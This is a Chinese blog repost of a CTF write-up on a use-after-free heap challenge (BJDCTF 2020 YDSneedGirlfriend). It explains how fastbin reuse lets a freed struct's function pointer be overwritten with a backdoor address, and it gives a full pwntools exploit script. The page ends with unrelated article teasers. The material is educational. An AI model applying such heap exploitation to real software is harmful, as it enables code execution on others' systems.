【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend

news2025/1/22 21:36:35

一篇裸的、便于学习UAF的题目和笔记


前言

UAF-释放后重用,这一题和wiki上教学的那一题一样,是纯的裸UAF题目


一、题目

二、分析

题目中del函数,在释放申请的堆块后,并没有将置零,存在UAF漏洞。

分析add函数:

  • 申请大小为0x10mem(0x20chunk)的堆块,用作存储girlfriend结构体
  • 结构体有两个成员,一个是函数指针,正常来说指向print_name函数;一个是name字符串指针,由我们指定大小分配的堆块存储

很明显有后门函数存在,如果我们能将结构体的第一个函数指针劫持为后门函数,即可轻松getshell。那么怎么实现呢?

申请两个如下的结构体

free掉1和2

试想一下:如果我们再次申请一个girlfriend3,name申请的memery大小为0x10(0x20chunk),那么会发生什么?

是的,fastbin中girlfriend2结构体对应的堆块会被分作girlfriend3,girlfriend1结构体对应的堆块会被分作name3字符串的空间。——此时我们还保留着gf1和2的两个结构体指针,而name字段我们是可以修改的——我们就可以修改girlfriend2的函数指针部分了!然后用仍然保有的结构体指针调用该函数,实现劫持!

三、exp

from pwn import *
context(arch='amd64',log_level='debug')

io=process('./pwn')
io=remote('node4.anna.nssctf.cn',xxxxx)
def DEL(index):
    io.recvuntil(b'Your choice :')
    io.sendline(b'2')
    io.recvuntil(b'Index :')
    io.sendline(str(index).encode())

def PRINT(index):
    io.recvuntil(b'Your choice :')
    io.sendline(b'3')
    io.recvuntil(b'Index :')
    io.sendline(str(index).encode())

def ADD(name_size,name):
    io.recvuntil(b'Your choice :')
    io.sendline(b'1')
    io.recvuntil(b'Her name size is :')
    io.sendline(str(name_size).encode())
    io.recvuntil(b'Her name is :')
    io.sendline(name)
    # io.recvuntil(b'Success !Wow YDS get a girlfriend!\n')

backdoor=0x400B9C

ADD(0x10,b'gf1')
ADD(0x20,b'gf2')
DEL(0)
DEL(1)
ADD(0x10,p64(backdoor))
PRINT(0)
io.interactive()

总结

初步涉猎heap,对于典型的漏洞利用,多加记载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1165065.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Tailwind CSS vs 现代CSS,Tailwind CSS 会像CSS-in-JS 一样亡?

本文是 关于Tailwind CSS 与 现代 CSS之间比较的文章。文章中作者详细比较了这两种CSS开发方法的优缺点。他指出,Tailwind CSS是一种基于类的CSS框架,提供了快速开发网站的便利性,但可能导致HTML代码的臃肿。另一方面,现代CSS方法…

[双指针] (四) LeetCode 18.四数之和

[双指针] (四) LeetCode 18.四数之和 文章目录 [双指针] (四) LeetCode 18.四数之和题目解析解题思路代码实现总结 18. 四数之和 题目解析 (1) 从一个数组中找一个目标值target (2) target nums[a] nums[b] nums[c] nums[d] 解题思路 和上一道题三数之和一样, 我们把四…

刷到这篇文章的老师,就是老天在帮你

作为一名奋斗在教育战线的老师,是否曾在成绩查询这个环节中倍感头大? 统计是个繁琐又重要的工作,但有了正确的工具,一切都变得无所谓! 什么是成绩查询? 成绩查询,顾名思义,就是学生…

uni-app 应对微信小程序最新隐私协议接口要求的处理方法

这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一,问题起因 最新在开发小程序的时候,调用微信小程序来获取用户信息的时候经常报错一个问题 fail api scope is not declared in the privacy agreement,api更具公告…

Linux | 文件系统

目录 前言 一、预备知识 二、文件相关的系统调用 1、C语言的文件操作 2、系统调用接口 (1)open函数 (2)close函数 (3)write函数 (4)read函数 3、代码实操 三、深入理解文…

k8s:endpoint

在 Kubernetes 中,Endpoint 是一种 API 对象,它用于表示集群内某个 Service 的具体网络地址。换句话说,它连接到一组由 Service 选择的 Pod,从而使它们能够提供服务。每个 Endpoint 对象都与相应的 Service 对象具有相同的名称&am…

python判断图片主颜色

一 、 问题:python判断图片主颜色 python判断图片主颜色(HSV) 二 、 项目背景: app选项是否能被点击,判断执行逻辑。做自动化测试的朋友肯定遇到好多次,按钮属性无法判别时,就需要自己将app选…

shell script中的数值运算declare和$((运算式 ))

linux中变量定义默认是字符串类型,如要进行数值运算,需要先声明变量类型,或者通过固定格式来计算 看案例 如果不通过固定格式,直接 echo 55 如图,结果显示的55本身 可以写成 declare -i var#声明变量integrate类型&…

网络架构学习之FCNVMB(基于U-Net架构)

目录 一、U-Net介绍 1.1 网络简单介绍 1.2 网络特点 二、FCNVMB介绍 2.1 文章简介 2.2 网络简单介绍 2.3 代码介绍 2.4 跳跃连接 2.5 训练过程 2.6 FCNVMB与InversionNet的比较 一、U-Net介绍 1.1 网络简单介绍 U-Net是基于全卷积网络下一个语义分割应用于生物医学的深…

PC端视频编辑处理的全方位解决方案

视频已经成为企业传播信息、展示品牌形象的重要工具。然而,制作高质量的视频并非易事,需要专业的技术和设备。这就是美摄科技发挥作用的地方。我们为企业提供一站式的PC端视频编辑处理解决方案,帮助企业轻松制作出专业级别的视频。 美摄科技…

Kubernetes 架构

Kubernetes 架构 Kubernetes 最初源于谷歌内部的 Borg,提供了面向应用的容器集群部署和管理系统。Kubernetes 的目标旨在消除编排物理 / 虚拟计算,网络和存储基础设施的负担,并使应用程序运营商和开发人员完全将重点放在以容器为中心的原语上进行自助运营。Kubernetes 也提…

2021~2023年度长垣起重机博览会最佳产品彩页(修订中)

1.河南恒达 比较完善的起重量限制器产品线分类,提供了监控参数一览表。 2.沪源电机 详细的电机参数,这基本上可以作为电机发展的历史资料来搜集。 包含效率,功率因数,堵转电流等其他厂商很少给出的参数,可以做手册用…

【Redis】安装(Linuxwindow)及Redis的常用命令

Redis简介 Redis是一个开源(BSD许可),内存存储的数据结构服务器,可用作数据库,高速缓存和消息队列代理。 它支持字符串、哈希表、列表、集合、有序集合,位图,hyperloglogs等数据类型。内置复…

2024年天津中德应用技术大学专升本招生专业限制目录

2024年天津中德应用技术大学专升本招生专业限制 专科可允许报考的专业目录范围 机械电子工程: 机电一体化技术、数控技术、数控设备应用与维护、模具设计与制造、精密机械技术、材料工程技术、机械设计与制造、计算机辅助设计与制造、焊接技术与自动化、电气自动化…

Yolov8目标识别与实例分割——版本比对与原理解析

前言 YOLO是一种基于图像全局信息进行预测并且它是一种端到端的目标检测系统,最初的YOLO模型由Joseph Redmon和Ali Farhadi于2015年提出,并随后进行了多次改进和迭代,产生了一系列不同版本的YOLO模型,如YOLOv2、YOLOv3、YOLOv4&a…

Java学习_day07_类的构造器代码块继承封装多态

文章目录 构造器格式注意点使用 代码块格式注意 继承格式注意点 封装包声明包导包注意点 访问修饰符 多态格式注意点代码演示 构造器 Java中每个类都至少有一个构造器,当程序员没有明确编写构造器时,Java编译器会自动为类添加一个无参的构造器。构造器通…

vue封装独立组件:实现分格密码输入框/验证码输入框

目录 第一章 实现效果 第二章 核心实现思路 第三章 封装组件代码实现 第一章 实现效果 为了方便小编的父组件随便找了个页面演示的通过点击按钮,展示子组件密码输入的输入框通过点击子组件输入框获取焦点,然后输入验证码数字即可子组件的确定按钮是验…

nodejs+vue+python+php智能停车系统-计算机毕业设计-微信小程序-安卓

随着网络技术的不断发展,多媒体技术应用渐渐的出现在教育领域中,智能停车算法研究管理已经成为社会的一个热门话题。 智能停车算法研究系统主要是借助计算机,通过对智能停车算法研究系统所需的信息管理,增加用户的选择&#xff0c…

【MyBatis Plus】使用 MyBatis Plus 完成分页功能,以及通用分页实体的实现

文章目录 一、MyBatis Plus 分页插件1.1 了解 MyBatis Plus 的插件功能1.2 配置分页插件1.3 测试分页功能 二、实现通用分页实体2.1 分页查询需求2.2 分页实体类2.3 分页查询接口2.4 通用实体的转换2.4.1 PageQuery 转换为 MP Page2.4.2 分页结果 PO 转换 VO 一、MyBatis Plus …

canvas实现环形进度条

与setTimeout和setInterval不同&#xff0c;requestAnimationFrame不需要设置时间间隔。 效果图 源代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Canvas progress</title> </head&g…